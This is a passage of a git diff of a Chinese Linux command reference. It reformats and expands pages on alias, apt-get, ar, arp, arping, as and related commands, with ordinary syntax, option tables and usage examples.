在CentOS7下,这个文件是`/etc/bash.bashrc`。此外在CentOS7下,细看`~/.bashrc`文件,会发现有这样一段代码: +> +> ```shell +> if [ -f ~/.bash_aliases ]; then +> . ~/.bash_aliases +> fi +> ``` +> +> 这个代码的意思就是如果存在那么就加载`.bash_aliases`文件,所以也可以在用户根目录下新建该文件用于单独存放命令别名设置。 -### 小结 -alias这个命令是shell的内建命令,可以根据自己的使用习惯设置一些别名,需要注意的就是和其他命令冲突的情况。 +## 错误用法 +- 要显示的别名未定义。 +- 当您定义(修改)别名的值的时候,由于值的字符串有空格但您没有用**单引号扩起**,那么会导致严重的问题: +```shell +# 为方便演示,删除全部别名 +unalias -a +# 没有用单引号扩起 +alias rm=rm -rf +# 执行命令后报错 bash: alias: -rf: not found +# 这时使用alias查看rm的别名时返回 alias rm='rm' +``` +```shell +# 更具有迷惑性的例子 +# 为方便演示,删除全部别名 +unalias -a +# 仍然没有用单引号括起 +alias ls=ls --color=never +# 执行命令后看起来没有报错 + +# 使用alias查看全部别名会发现运行结果如下: +# alias --color=never +# alias ls='ls' +# alias处理时将它们看成了两组 +``` -#### 一、 范例演示 +## Q&A -在使用和维护Linux系统过程中,我们常常希望根据自己的需要来定义一些命令,那么这样的操作是不是很难呢?其实不是,系统已经为我们设置好了相关的命令,下面小编就以CentOS6.4系统为例,为大家演示如何创建自己的命令。 +Q:如果我要显示一到多个别名,但不知道其中是否有未定义的该怎么办? -#### 二、 自定义命令简介 - CentOS系统下的创建自定义命令其实比较简单,使用的命令就是alias,具体使用的方法就是 alias 自定义命令名=‘命令’。但是需要注意的是,在自定义之前需要查看自定义的命令名是否是系统已经使用的命令名,否则会冲突,另外一个就是定期清理不需要的自定义命令名。 +A:正常执行就是了,alias不会因为有一个未定义的别名就结束对剩余参数的执行。 +Q:如果我这么定义`alias cd='ls' ls='cd'`,会有什么后果? -#### 三、 演示举例 -假定系统操作员希望进行如下操作: -1.进入目录/root -2.查看目录下文件 -3.切换回根目录 -通常这需要三条命令 cd /root;ls;cd / ,如果需要经常使用那么我们可以通过自定义命令的方式用一条命令完成全部操作。 -![](alias\01.png) +A:运行cd依然会切换目录,运行ls依然会列出文件夹的内容;不要这样定义。 -#### 四、 操作过程 - 首先使用命令 type 自定义命令名 ,查看自定义命令名是否被系统占用。从图中可以看出test命令名已被系统占用,所以不能使用,而loo这个命令名经查询可以使用。 -![](alias\02.png) - 使用命令alias创建自定义命令:alias loo='cd /root;ls;cd /' 。需要注意的是命令的使用格式,分号与分号之间是没有空格的。 -![](alias\03.png) +### 注意 - 测试一下自定义命令,当输入命令 loo 时,发现系统依次完成了 cd /root、ls、cd / 三条命令,说明设置成功。同时也可直接使用命令 alias 查询系统中是否添加了loo这个自定义命令。 -![](alias\04.png) +1. 执行脚本时请注意: + - 使用 `source` 命令执行的bash脚本如果执行了 `alias` 或 `unalias` 命令,那么有可能会对终端环境的别名设置产生影响;终端环境的别名设置也可能改变运行结果; + - 通过 `sh` 方式调用的 bash 脚本或直接运行当前用户有执行权限的脚本不受终端环境的别名影响。 +2. 删除别名,请查看`unalias`命令。 +3. 建议您不要对 `mv cp rm` 等命令的别名设置危险的 `-f` 选项,比如 `alias rm='rm -f'`。 +4. 需要注意别名是否和其他命令有冲突的情况。 +5. 该命令是 bash 内建命令,相关的帮助信息请查看 `help` 命令。 - 如果希望删除这个自定义命令,可以使用命令 unalias 自定义命令名 来完成。执行之后发现,loo命令已不存在,同时自定义命令库中也没有loo命令。 -![](alias\05.png) +### 其他参考链接 - +- [alias(1p) - Linux manual page](https://man7.org/linux/man-pages/man1/alias.1p.html) +- [Linux命令详解:\[8\]alias创建自己的命令](https://jingyan.baidu.com/article/ac6a9a5e6738422b653eac01.html) diff --git a/command/apachectl.md b/command/apachectl.md index 9656af2d571..14d220cab8e 100644 --- a/command/apachectl.md +++ b/command/apachectl.md @@ -1,28 +1,27 @@ apachectl === - + Apache服务器前端控制工具 ## 补充说明 **apachectl命令** 是Apache的Web服务器前端控制工具,用以启动、关闭和重新启动Web服务器进程。 -### 语法 +### 语法 ``` apachectl(参数) ``` -### 参数 +### 参数 -* configtest:检查设置文件中的语法是否正确; -* fullstatus:显示服务器完整的状态信息; -* graceful:重新启动Apache服务器,但不会中断原有的连接; -* help:显示帮助信息; -* restart:重新启动Apache服务器; -* start:启动Apache服务器; -* status:显示服务器摘要的状态信息; -* stop:停止Apache服务器。 +* configtest:检查设置文件中的语法是否正确; +* fullstatus:显示服务器完整的状态信息; +* graceful:重新启动Apache服务器,但不会中断原有的连接; +* help:显示帮助信息; +* restart:重新启动Apache服务器; +* start:启动Apache服务器; +* status:显示服务器摘要的状态信息; +* stop:停止Apache服务器。 - \ No newline at end of file diff --git a/command/apk.md b/command/apk.md index 2067e3977fd..153480507f6 100644 --- a/command/apk.md +++ b/command/apk.md @@ -5,7 +5,7 @@ Alpine Linux 下的包管理工具 ## 使用实例 -```bash +```shell apk install xxx apk search xxx # 支持正则 apk info xxx # 查看包的详细信息 @@ -18,7 +18,7 @@ apk del openssh openntp vim upgrade命令升级系统已安装的所以软件包(一般包括内核),当然也可指定仅升级部分软件包(通过-u或–upgrade选择指定)。 -```bash +```shell apk update # 更新最新本地镜像源 apk upgrade # 升级软件 apk add --upgrade busybox # 指定升级部分软件包 @@ -26,7 +26,7 @@ apk add --upgrade busybox # 指定升级部分软件包 ### 搜索 -```bash +```shell apk search # 查找所以可用软件包 apk search -v # 查找所以可用软件包及其描述内容 apk search -v 'acf*' # 通过软件包名称查找软件包 @@ -37,7 +37,7 @@ apk search -v -d 'docker' # 通过描述文件查找特定的软件包 info命令用于显示软件包的信息。 -```bash +```shell apk info # 列出所有已安装的软件包 apk info -a zlib # 显示完整的软件包信息 apk info --who-owns /sbin/lbu # 显示指定文件属于的包 @@ -47,7 +47,7 @@ apk info --who-owns /sbin/lbu # 显示指定文件属于的包 还是蛮喜欢 alpine 的,简单纯粹 -```bash +```shell apk add iproute2 # ss vs netstat ss -ptl apk add drill # drill vs nslookup&dig diff --git a/command/apropos.md b/command/apropos.md index b4bcd87da81..9fb8d3c4f65 100644 --- a/command/apropos.md +++ b/command/apropos.md @@ -1,23 +1,23 @@ apropos === - + 在 whatis 数据库中查找字符串 ## 补充说明 -**apropos命令** 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字,然后把结果送到标准输出。  +**apropos命令** 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字,然后把结果送到标准输出。 如果你不知道完成某个特定任务所需要命令的名称,可以使用一个关键字通过Linux apropos实用程序来搜索它。该实用程序可以搜索关键字并且显示所有包含匹配项的man页面的简短描述。另外,使用man实用程序和-k(关键字)选项,可以得到和用Linux apropos实用程序相同的结果(实际上是相同的命令)。 -### 语法 +### 语法 -``` +```shell apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale] -C [file] keyword ... ``` -### 选项 +### 选项 -``` +```shell -d, --debug:输出调试信息。 -v, --verbose:输出详细的警告信息。 -r, -- regex:将每个keyword作为正则表达式解释。这是默认行为。每个keyword将匹配手册页和描述。 @@ -27,20 +27,20 @@ apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale -l, --long:不根据终端宽度缩减输出。 -s section, --section section:只查找指定的手册section。 -m system[,...], --systems=system[,...]:用于查找其它操作系统的手册页。 --M path, --manpath=path:指定从其它以冒号分隔的手册页层次查找。默认使用$MANPATH环境变量。这个选项覆盖$MANPATH的内容。 --L locale, --locale=locale:apropos调用C函数setlocale来得到当前本地化信息,包括$LC_MESSAGE和$LANG。使用该选项提供一个locale字符串来临时更改本地化信息。 +-M path, --manpath=path:指定从其它以冒号分隔的手册页层次查找。默认使用 $MANPATH 环境变量。这个选项覆盖 $MANPATH 的内容。 +-L locale, --locale=locale:apropos调用C函数setlocale来得到当前本地化信息,包括 $LC_MESSAGE 和 $LANG 。使用该选项提供一个locale字符串来临时更改本地化信息。 -C file, --config-file=file:使用这个用户配置文件而不是默认的~/.manpath。 -h, --help:打印帮助信息并退出。 -V, --version:打印版本信息并退出。 ``` -### 返回值 +### 返回值 返回0表示成功,1表示用法、语法或配置文件错误,2表示操作错误,16表示没有找到匹配的内容。 -### 实例 +### 实例 -``` +```shell [root@localhost ~]# man -k who at.allow [at] (5) - determine who can submit jobs via at or batch at.deny [at] (5) - determine who can submit jobs via at or batch @@ -66,9 +66,6 @@ whoami (1) - print effective userid 查找手册页名字和描述中包含emacs和vi的手册页: -``` +```shell apropos -a emacs vi ``` - - - \ No newline at end of file diff --git a/command/apt-get.md b/command/apt-get.md index 95a4e3a601d..c9189162f51 100644 --- a/command/apt-get.md +++ b/command/apt-get.md @@ -1,34 +1,44 @@ apt-get === - + Debian Linux发行版中的APT软件包管理工具 ## 补充说明 **apt-get命令** 是Debian Linux发行版中的APT软件包管理工具。所有基于Debian的发行都使用这个包管理系统。deb包可以把一个应用的文件包在一起,大体就如同Windows上的安装文件。 -### 语法 +### 语法 -``` -apt-get(选项)(参数) +```shell +apt-get [OPTION] PACKAGE ``` -### 选项 +### 选项 + +```shell +apt-get install # 安装新包 +apt-get remove # 卸载已安装的包(保留配置文件) +apt-get purge # 卸载已安装的包(删除配置文件) +apt-get update # 更新软件包列表 +apt-get upgrade # 更新所有已安装的包 +apt-get autoremove # 卸载已不需要的包依赖 +apt-get dist-upgrade # 自动处理依赖包升级 +apt-get autoclean # 将已经删除了的软件包的.deb安装文件从硬盘中删除掉 +apt-get clean # 删除软件包的安装包 -``` -c:指定配置文件。 ``` -### 参数 +### 参数 -* 管理指令:对APT软件包的管理操作; -* 软件包:指定要操纵的软件包。 +* 管理指令:对APT软件包的管理操作; +* 软件包:指定要操纵的软件包。 -### 实例 +### 实例 使用apt-get命令的第一步就是引入必需的软件库,Debian的软件库也就是所有Debian软件包的集合,它们存在互联网上的一些公共站点上。把它们的地址加入,apt-get就能搜索到我们想要的软件。/etc/apt/sources.list是存放这些地址列表的配置文件,其格式如下: -``` +```shell deb web或[ftp地址] [发行版名字] main/contrib/non-[free] ``` @@ -36,57 +46,57 @@ deb web或[ftp地址] [发行版名字] main/contrib/non-[free] 在修改`/etc/apt/sources.list`或者`/etc/apt/preferences`之后运行该命令。此外您需要定期运行这一命令以确保您的软件包列表是最新的: -``` +```shell apt-get update ``` 安装一个新软件包: -``` +```shell apt-get install packagename ``` 卸载一个已安装的软件包(保留配置文件): -``` +```shell apt-get remove packagename ``` 卸载一个已安装的软件包(删除配置文件): -``` +```shell apt-get –purge remove packagename ``` 会把已装或已卸的软件都备份在硬盘上,所以如果需要空间的话,可以让这个命令来删除你已经删掉的软件: -``` +```shell apt-get autoclean apt ``` 这个命令会把安装的软件的备份也删除,不过这样不会影响软件的使用的: -``` +```shell apt-get clean ``` 更新所有已安装的软件包: -``` +```shell apt-get upgrade ``` 将系统升级到新版本: -``` +```shell apt-get dist-upgrade ``` 定期运行这个命令来清除那些已经卸载的软件包的.deb文件。通过这种方式,您可以释放大量的磁盘空间。如果您的需求十分迫切,可以使用`apt-get clean`以释放更多空间。这个命令会将已安装软件包裹的.deb文件一并删除。大多数情况下您不会再用到这些.debs文件,因此如果您为磁盘空间不足 而感到焦头烂额,这个办法也许值得一试: -``` +```shell apt-get autoclean ``` - \ No newline at end of file + diff --git a/command/apt-key.md b/command/apt-key.md index 64766cbe0fa..d35b8578824 100644 --- a/command/apt-key.md +++ b/command/apt-key.md @@ -1,30 +1,29 @@ apt-key === - + 管理Debian Linux系统中的软件包密钥 ## 补充说明 **apt-key命令** 用于管理Debian Linux系统中的软件包密钥。每个发布的deb包,都是通过密钥认证的,apt-key用来管理密钥。 -### 语法 +### 语法 -``` +```shell apt-key(参数) ``` -### 参数 +### 参数 操作指令:APT密钥操作指令。 -### 实例 +### 实例 -``` -apt-key list #列出已保存在系统中key。 -apt-key add keyname #把下载的key添加到本地trusted数据库中。 -apt-key del keyname #从本地trusted数据库删除key。 -apt-key update #更新本地trusted数据库,删除过期没用的key。 +```shell +apt-key list # 列出已保存在系统中key。 +apt-key add keyname # 把下载的key添加到本地trusted数据库中。 +apt-key del keyname # 从本地trusted数据库删除key。 +apt-key update # 更新本地trusted数据库,删除过期没用的key。 ``` - \ No newline at end of file diff --git a/command/apt-sortpkgs.md b/command/apt-sortpkgs.md index f9d2416b385..060f8ef109c 100644 --- a/command/apt-sortpkgs.md +++ b/command/apt-sortpkgs.md @@ -1,28 +1,27 @@ apt-sortpkgs === - + Debian Linux下对软件包索引文件进行排序的工具 ## 补充说明 **apt-sortpkgs命令** 是Debian Linux下对软件包索引文件进行排序的简单工具。 -### 语法 +### 语法 -``` +```shell apt-sortpkgs(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -s:使用源索引字段排序; -h:显示帮助信息。 ``` -### 参数 +### 参数 文件:指定要排序的包含debian包信息的索引文件。 - \ No newline at end of file diff --git a/command/aptitude.md b/command/aptitude.md index 378997d3271..6b447d6b16d 100644 --- a/command/aptitude.md +++ b/command/aptitude.md @@ -1,21 +1,21 @@ aptitude === - + Debian Linux系统中软件包管理工具 ## 补充说明 **aptitude命令** 与apt-get命令一样,都是Debian Linux及其衍生系统中功能极其强大的包管理工具。与apt-get不同的是,aptitude在处理依赖问题上更佳一些。举例来说,aptitude在删除一个包时,会同时删除本身所依赖的包。这样,系统中不会残留无用的包,整个系统更为干净。它通过文本操作菜单和命令两种方式管理软件包。 -### 语法 +### 语法 -``` +```shell aptitude(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -h:显示帮助信息; -d:仅下载软件包,不执行安装操作; -P:每一步操作都要求确认; @@ -24,28 +24,27 @@ aptitude(选项)(参数) -u:启动时下载新的软件包列表。 ``` -### 参数 +### 参数 操作命令:用户管理软件包的操作命令。 -### 实例 +### 实例 以下是我总结的一些常用aptitude命令,仅供参考: -``` -aptitude update #更新可用的包列表 -aptitude upgrade #升级可用的包 -aptitude dist-upgrade #将系统升级到新的发行版 -aptitude install pkgname #安装包 -aptitude remove pkgname #删除包 -aptitude purge pkgname #删除包及其配置文件 -aptitude search string #搜索包 -aptitude show pkgname #显示包的详细信息 -aptitude clean #删除下载的包文件 -aptitude autoclean #仅删除过期的包文件 +```shell +aptitude update # 更新可用的包列表 +aptitude upgrade # 升级可用的包 +aptitude dist-upgrade # 将系统升级到新的发行版 +aptitude install pkgname # 安装包 +aptitude remove pkgname # 删除包 +aptitude purge pkgname # 删除包及其配置文件 +aptitude search string # 搜索包 +aptitude show pkgname # 显示包的详细信息 +aptitude clean # 删除下载的包文件 +aptitude autoclean # 仅删除过期的包文件 ``` 当然,你也可以在文本界面模式中使用 aptitude。 - \ No newline at end of file diff --git a/command/ar.md b/command/ar.md index ceaa9874924..6b15af34b83 100644 --- a/command/ar.md +++ b/command/ar.md @@ -7,65 +7,67 @@ ar **ar命令** 是一个建立或修改备存文件,或是从备存文件中抽取文件的工具,ar可让您集合许多文件,成为单一的备存文件。在备存文件中,所有成员文件皆保有原来的属性与权限 -### 语法 +### 语法 -``` -ab(选项)(参数) -Usage: ar [emulation options] [-]{dmpqrstx}[abcDfilMNoPsSTuvV] [--plugin ] [member-name] [count] archive-file file... - ar -M [] [member-name] [count] archive-file file... + ar -M [ 以下内容来自 GNU ar (GNU Binutils) 2.40 版本指令 -``` -d - 从归档文件中删除文件 -m[ab] - 在归档文件中移动文件 -p - 打印在归档文件中找到的文件 -q[f] - 将文件快速追加到归档文件中 -r[ab][f][u] - 替换归档文件中已有的文件或加入新文件 -s - act as ranlib -t - 显示归档文件的内容 -x[o] - 从归档文件中分解文件 +```shell +命令: + d - 从归档文件中删除文件 + m[ab] - 在归档文件中移动文件 + p - 打印在归档文件中找到的文件 + q[f] - 将文件快速追加到归档文件中 + r[ab][f][u] - 替换归档文件中已有的文件或加入新文件 + s - 作为 ranlib 工作 + t[O][v] - display contents of the archive + x[o] - 从归档文件中分解文件 特定命令修饰符: -[a] - 将文件置于 [成员名] 之后 -[b] - 将文件置于 [成员名] 之前 (于 [i] 相同) -[D] - use zero for timestamps and uids/gids -[U] - use actual timestamps and uids/gids (default) -[N] - use instance [count] of name -[f] - truncate inserted file names -[P] - 在匹配时使用完整的路径名 -[o] - 保留原来的日期 -[u] - 只替换比当前归档内容更新的文件 + [a] - 将文件置于 [成员名] 之后 + [b] - 将文件置于 [成员名] 之前 (于 [i] 相同) + [D] - 将 0 用于时间戳和 uid/gid(默认) + [D] - 使用实际时间戳和 uid/gid + [N] - 使用名称的实例 [数量] + [f] - 截去插入的文件名称 + [P] - 在匹配时使用完整的路径名 + [o] - 保留原来的日期 + [O] - display offsets of files in the archive + [u] - 只替换比当前归档内容更新的文件 通用修饰符: -[c] - 不在必须创建库的时候给出警告 -[s] - 创建归档索引 (cf. ranlib) -[S] - 不要创建符号表 -[T]         - 做一个压缩档案 -[v] - 输出较多信息 -[V] - 显示版本号 -@ - 从读取选项 ---target=BFDNAME - 将目标对象格式指定为BFDNAME -``` - -选项参数 - -``` ---plugin

- load the specified plugin + [c] - 不在必须创建库的时候给出警告 + [s] - 创建归档索引 (cf. ranlib) + [l ] - specify the dependencies of this library + [S] - 不要创建符号表 + [T] - deprecated, use --thin instead + [v] - 输出较多信息 + [V] - 显示版本号 + @ - 从 读取选项 + --target=BFDNAME - 指定目标对象格式为 BFDNAME + --output=DIRNAME - specify the output directory for extraction operations + --record-libdeps= - specify the dependencies of this library + --thin - make a thin archive +可选项: + --plugin

- 加载指定的插件程序 +仿真选项: + 没有仿真特有的选项 ``` -ar:支持的目标: elf64-x86-64 elf32-i386 elf32-x86-64 a.out-i386-linux pei-i386 pei-x86-64 elf64-l1om elf64-k1om elf64-little elf64-big elf32-little elf32-big plugin srec symbolsrec verilog tekhex binary ihex - ### 实例 打包文件 -``` -[root@localhost ~]# ls //显示当前目录文件 +```shell +[root@localhost ~]# ls # 显示当前目录文件 a.c b.c d.c install.log qte anaconda-ks.cfg c.c Desktop -[root@localhost ~]# ar rv one.bak a.c b.c //打包 a.c b.c文件 +[root@localhost ~]# ar rv one.bak a.c b.c # 打包 a.c b.c文件 ar: 正在创建 one.bak a - a.c a - b.c @@ -73,8 +75,8 @@ a - b.c 打包多个文件 -``` -[root@localhost ~]# ar rv two.bak *.c //打包以.c结尾的文件 +```shell +[root@localhost ~]# ar rv two.bak *.c // 打包以.c结尾的文件 ar: 正在创建 two.bak a - a.c a - b.c @@ -84,7 +86,7 @@ a - d.c 显示打包文件的内容 -``` +```shell [root@localhost ~]# ar t two.bak a.c b.c @@ -94,11 +96,11 @@ d.c 删除打包文件的成员文件 -``` +```shell [root@localhost ~]# ar d two.bak a.c b.c c.c [root@localhost ~]# ar t two.bak d.c ``` - + diff --git a/command/arch.md b/command/arch.md index 53e27266df0..3b797fb33c8 100644 --- a/command/arch.md +++ b/command/arch.md @@ -1,24 +1,36 @@ arch === - + 显示当前主机的硬件架构类型 -## 补充说明 +## 概要 -**arch命令** 用于显示当前主机的硬件架构类型。arch命令等同于`命令name -m`在当前的Linux系统下,arch命令输出结果有:i386、i486、i586、alpha、sparc、arm、m68k、mips、ppc、i686等 +```shell +arch [OPTION]... +``` -### 语法 +## 主要用途 -``` -arch -``` +- 打印机器架构信息;`arch` 命令输出结果有:i386、i486、i586、alpha、sparc、arm、m68k、mips、ppc、i686等。 -### 实例 +## 选项 +```shell +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 ``` -arch + +## 例子 + +```shell +[root@localhost ~]# arch x86_64 ``` +### 注意 + +1. 该命令等价于 `uname -m`。 + +2. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 arch`,`info coreutils 'arch invocation'`。 + - \ No newline at end of file diff --git a/command/arj.md b/command/arj.md index 01f38cbc8b4..05181e1653f 100644 --- a/command/arj.md +++ b/command/arj.md @@ -1,22 +1,21 @@ arj === - + 用于创建和管理.arj压缩包 ## 补充说明 -**arj命令** 是“.arj”格式的压缩文件的管理器,用于创建和管理“.arj”压缩包。 +**arj命令** 是 `.arj` 格式的压缩文件的管理器,用于创建和管理 `.arj` 压缩包。 -### 语法 +### 语法 -``` +```shell arj(参数) ``` -### 参数 +### 参数 -* 操作指令:对“.arj”压缩包执行的操作指令; -* 压缩包名称:指定要操作的arj压缩包名称。 +* 操作指令:对 `.arj` 压缩包执行的操作指令; +* 压缩包名称:指定要操作的arj压缩包名称。 - \ No newline at end of file diff --git a/command/arp.md b/command/arp.md index 222729c2357..993f236f416 100644 --- a/command/arp.md +++ b/command/arp.md @@ -1,40 +1,54 @@ arp === - -显示和修改IP到MAC转换表 + +arp 命令用于显示和修改 IP 到 MAC 转换表 ## 补充说明 -**arp命令** 用于操作主机的arp缓冲区,它可以显示arp缓冲区中的所有条目、删除指定的条目或者添加静态的ip地址与MAC地址对应关系。 +**arp 命令** 是 Address Resolution Protocol,地址解析协议,是通过解析网络层地址来找寻数据链路层地址的一个网络协议包中极其重要的网络传输协议。而该命令可以显示和修改 arp 协议解析表中的缓冲数据。 -### 语法 +这个核心协议模块实现RFC826中定义的 Address Resolution Protocol [译注:即TCP/IP的第三层到第一层的地址转换协议],用于在直接相连的网络中换第二层硬件地址和 Ipv4 协议地址之间的转换。 用户除非想对其进行配置,否则一般不会直接操作这个模块。 -``` -arp(选项)(参数) -``` +实际上,它提供对核心中其它协议的服务。 + +用户进程可以使用 packet(7) 的 sockets,收到 ARP 包(译注:一译分组)。 还有一种机制是使用 netlink(7) sockets,在用户空间管理 ARP 缓存的机制。我们也可以通过 ioctl (2) 控制任意 PF_INET socket上的 ARP 表 -### 选项 +ARP 模块维护一个硬件地址到协议地址映射的缓存。这个缓存有大小限制,所以不常用的和旧的记录(Entry)将被垃圾收集器清除(garbage-collected),垃圾收集器永远不能删除标为永久的记录。我们可以使用ioctls直接操纵缓冲, 并且其性状可以用下面定义的 sysctl 调节。 +如果在限定的时间(见下面的sysctl)内,一条现存映射没有肯定反馈时, 则认为相邻层的缓存记录失效。 为了再次向目标发送数据,ARP将首先试着询问本地arp进程 app_solicit 次,获取更新了的 MAC(介质访问控制)地址。 如果失败,并且旧的MAC地址是已知的,则发送 ucast_solicit 次的 unicast probe。如果仍然失败,则将向网络广播一个新的ARP请求,此时要 有待发送数据的队列 + +如果 Linux 接到一个地址请求,而且该地址指向 Linux 转发的地址,并且接收接口打开了代理 arp 时,Linux 将自动添加一条非永久的代理 arp 记录;如果存在拒绝到目标的路由,则不添加代理 arp 记录。 + +### 语法 + +```shell +arp(选项)(参数) ``` --a<主机>:显示arp缓冲区的所有条目; --H<地址类型>:指定arp指令使用的地址类型; --d<主机>:从arp缓冲区中删除指定主机的arp条目; --D:使用指定接口的硬件地址; --e:以Linux的显示风格显示arp缓冲区中的条目; --i<接口>:指定要操作arp缓冲区的网络接口; --s<主机>:设置指定的主机的IP地址与MAC地址的静态映射; --n:以数字方式显示arp缓冲区中的条目; --v:显示详细的arp缓冲区条目,包括缓冲区条目的统计信息; --f<文件>:设置主机的IP地址与MAC地址的静态映射。 + +### 选项 + +```shell +-a # 主机 :显示 arp 缓冲区的所有条目; +-H # 地址类型 :指定 arp 指令使用的地址类型; +-d # 主机 :从 arp 缓冲区中删除指定主机的 arp 条目; +-D # 使用指定接口的硬件地址; +-e # 以 Linux 的显示风格显示 arp 缓冲区中的条目; +-i # 接口 :指定要操作 arp 缓冲区的网络接口; +-s # 主机 MAC 地址 :设置指定的主机的 IP 地址与 MAC 地址的静态映射; +-n # 以数字方式显示 arp 缓冲区中的条目; +-v # 显示详细的 arp 缓冲区条目,包括缓冲区条目的统计信息; +-f # 文件 :设置主机的 IP 地址与 MAC 地址的静态映射。 ``` -### 参数 +### 参数 -主机:查询arp缓冲区中指定主机的arp条目。 +主机:查询 arp 缓冲区中指定主机的 arp 条目。 -### 实例 +### 实例 -``` +显示arp 缓冲区内容 + +```shell [root@localhost ~]# arp -v Address HWtype HWaddress Flags Mask Iface 192.168.0.134 ether 00:21:5E:C7:4D:88 C eth1 @@ -42,5 +56,17 @@ Address HWtype HWaddress Flags Mask Iface Entries: 2 Skipped: 0 Found: 2 ``` +添加静态 arp 映射 + +```shell +arp -s IP MAC-ADDRESS +arp -s 192.168.1.1 00:b1:b2:b3:b4:b5 +``` + +删除 arp 缓存条目 + +```shell +arp -d 192.168.1.1 +``` - \ No newline at end of file + diff --git a/command/arpd.md b/command/arpd.md index 35e2dc5e208..c6ed7d3ca7d 100644 --- a/command/arpd.md +++ b/command/arpd.md @@ -1,21 +1,21 @@ arpd === - + 收集免费ARP信息 ## 补充说明 **arpd命令** 是用来收集免费arp信息的一个守护进程,它将收集到的信息保存在磁盘上或者在需要时,提供给内核用户用于避免多余广播。 -### 语法 +### 语法 -``` +```shell arpd(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -l:将arp数据库输出到标准输出设备显示并退出; -f:指定读取和加载arpd数据库的文本文件,文件的格式与“-l”输出信息类似; -b:指定arpd数据库文件,默认的位置为“/var/lib/arpd.db”; @@ -24,23 +24,22 @@ arpd(选项)(参数) -n:设定缓冲失效时间。 ``` -### 参数 +### 参数 网络接口:指定网络接口。 -### 实例 +### 实例 启动arpd进程: -``` +```shell arpd -b /var/tmp/arpd.db ``` 运行一段时间后,查看结果: -``` +```shell arpd -l -b /var/tmp/arpd.db ``` - \ No newline at end of file diff --git a/command/arping.md b/command/arping.md index 3494228cf3d..918942df3bf 100644 --- a/command/arping.md +++ b/command/arping.md @@ -1,37 +1,37 @@ arping === - + 通过发送ARP协议报文测试网络 ## 补充说明 **arping命令** 是用于发送arp请求到一个相邻主机的工具,arping使用arp数据包,通过ping命令检查设备上的硬件地址。能够测试一个ip地址是否是在网络上已经被使用,并能够获取更多设备信息。功能类似于ping。 -### 语法 +### 语法 -``` +```shell arping(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -b:用于发送以太网广播帧(FFFFFFFFFFFF)。arping一开始使用广播地址,在收到响应后就使用unicast地址。 -q:quiet output不显示任何信息; -f:表示在收到第一个响应报文后就退出; -w timeout:设定一个超时时间,单位是秒。如果到了指定时间,arping还没到完全收到响应则退出; -c count:表示发送指定数量的ARP请求数据包后就停止。如果指定了deadline选项,则arping会等待相同数量的arp响应包,直到超时为止; --s source:设定arping发送的arp数据包中的SPA字段的值。如果为空,则按下面处理,如果是DAD模式(冲突地址探测),则设置为0.0.0.0,如果是Unsolicited ARP模式(Gratutious ARP)则设置为目标地址,否则从路由表得出; +-s source:设定arping发送的arp数据包中的SPA字段的值。如果为空,则按下面处理,如果是DAD模式(冲突地址探测),则设置为0.0.0.0,如果是Unsolicited ARP模式(Gratuitous ARP)则设置为目标地址,否则从路由表得出; -I interface:设置ping使用的网络接口。 ``` -### 参数 +### 参数 目的主机:指定发送ARP报文的目的主机。 -### 实例 +### 实例 -``` +```shell [root@localhost ~]# arping www.baidu.com ARPING 220.181.111.147 from 173.231.43.132 eth0 Unicast reply from 220.181.111.147 00:D0:03:[bc:48:00] 1.666ms @@ -47,4 +47,3 @@ Received 8 response(s) ``` - \ No newline at end of file diff --git a/command/arptables.md b/command/arptables.md index 56c137b1d8a..1b80c836fde 100644 --- a/command/arptables.md +++ b/command/arptables.md @@ -1,21 +1,21 @@ arptables === - + 管理ARP包过滤规则表 ## 补充说明 **arptables命令** 用来设置、维护和检查Linux内核中的arp包过滤规则表。 -### 语法 +### 语法 -``` +```shell arptables(选项) ``` -### 选项 +### 选项 -``` +```shell -A:向规则链中追加规则; -D:从指定的链中删除规则; -l:向规则链中插入一条新的规则; @@ -32,4 +32,3 @@ arptables(选项) ``` - \ No newline at end of file diff --git a/command/arpwatch.md b/command/arpwatch.md index c3fb1a220a3..2c04b5a4bf1 100644 --- a/command/arpwatch.md +++ b/command/arpwatch.md @@ -1,21 +1,21 @@ arpwatch === - + 监听网络上ARP的记录 ## 补充说明 **arpwatch命令** 用来监听网络上arp的记录。 -### 语法 +### 语法 -``` +```shell arpwatch(选项) ``` -### 选项 +### 选项 -``` +```shell -d:启动排错模式; -f<记录文件>:设置存储ARP记录的文件,预设为/var/arpwatch/arp.dat; -i<接口>:指定监听ARP的接口,预设的接口为eth0; @@ -23,4 +23,3 @@ arpwatch(选项) ``` - \ No newline at end of file diff --git a/command/as.md b/command/as.md index 28de2b249dc..12578067995 100644 --- a/command/as.md +++ b/command/as.md @@ -1,21 +1,21 @@ as === - + 汇编语言编译器 ## 补充说明 -**as命令** GNU组织推出的一款汇编语言编译器,它支持多种不同类型的处理器。 +**as命令** 是GNU组织推出的一款汇编语言编译器,它支持多种不同类型的处理器。 -### 语法 +### 语法 -``` -as(选项)(参数) +```shell +as [选项] [参数] ``` -### 选项 +### 选项 -``` +```shell -ac:忽略失败条件; -ad:忽略调试指令; -ah:包括高级源; @@ -33,9 +33,44 @@ as(选项)(参数) --statistics:打印汇编所用的最大空间和总时间。 ``` -### 参数 +### 参数 汇编文件:指定要汇编的源文件。 +### 示例 + +编译一个汇编文件并生成目标文件 + +```shell +as -o output.o source.s +``` + +忽略调试指令并生成目标文件 + +```shell +as -ad -o output.o source.s +``` + +生成包含调试信息的目标文件 + +```shell +as -g -o output.o source.s +``` + +包括宏扩展并生成目标文件 + +```shell +as -am -o output.o source.s +``` + +打印汇编所用的最大空间和总时间 + +```shell +as --statistics -o output.o source.s +``` + +跳过空白和注释预处理并生成目标文件 - \ No newline at end of file +```shell +as -f -o output.o source.s +``` \ No newline at end of file diff --git a/command/at.md b/command/at.md index be7f0600bd6..352063efe3a 100644 --- a/command/at.md +++ b/command/at.md @@ -1,23 +1,23 @@ at === - + 在指定时间执行一个任务 ## 补充说明 -**at命令** 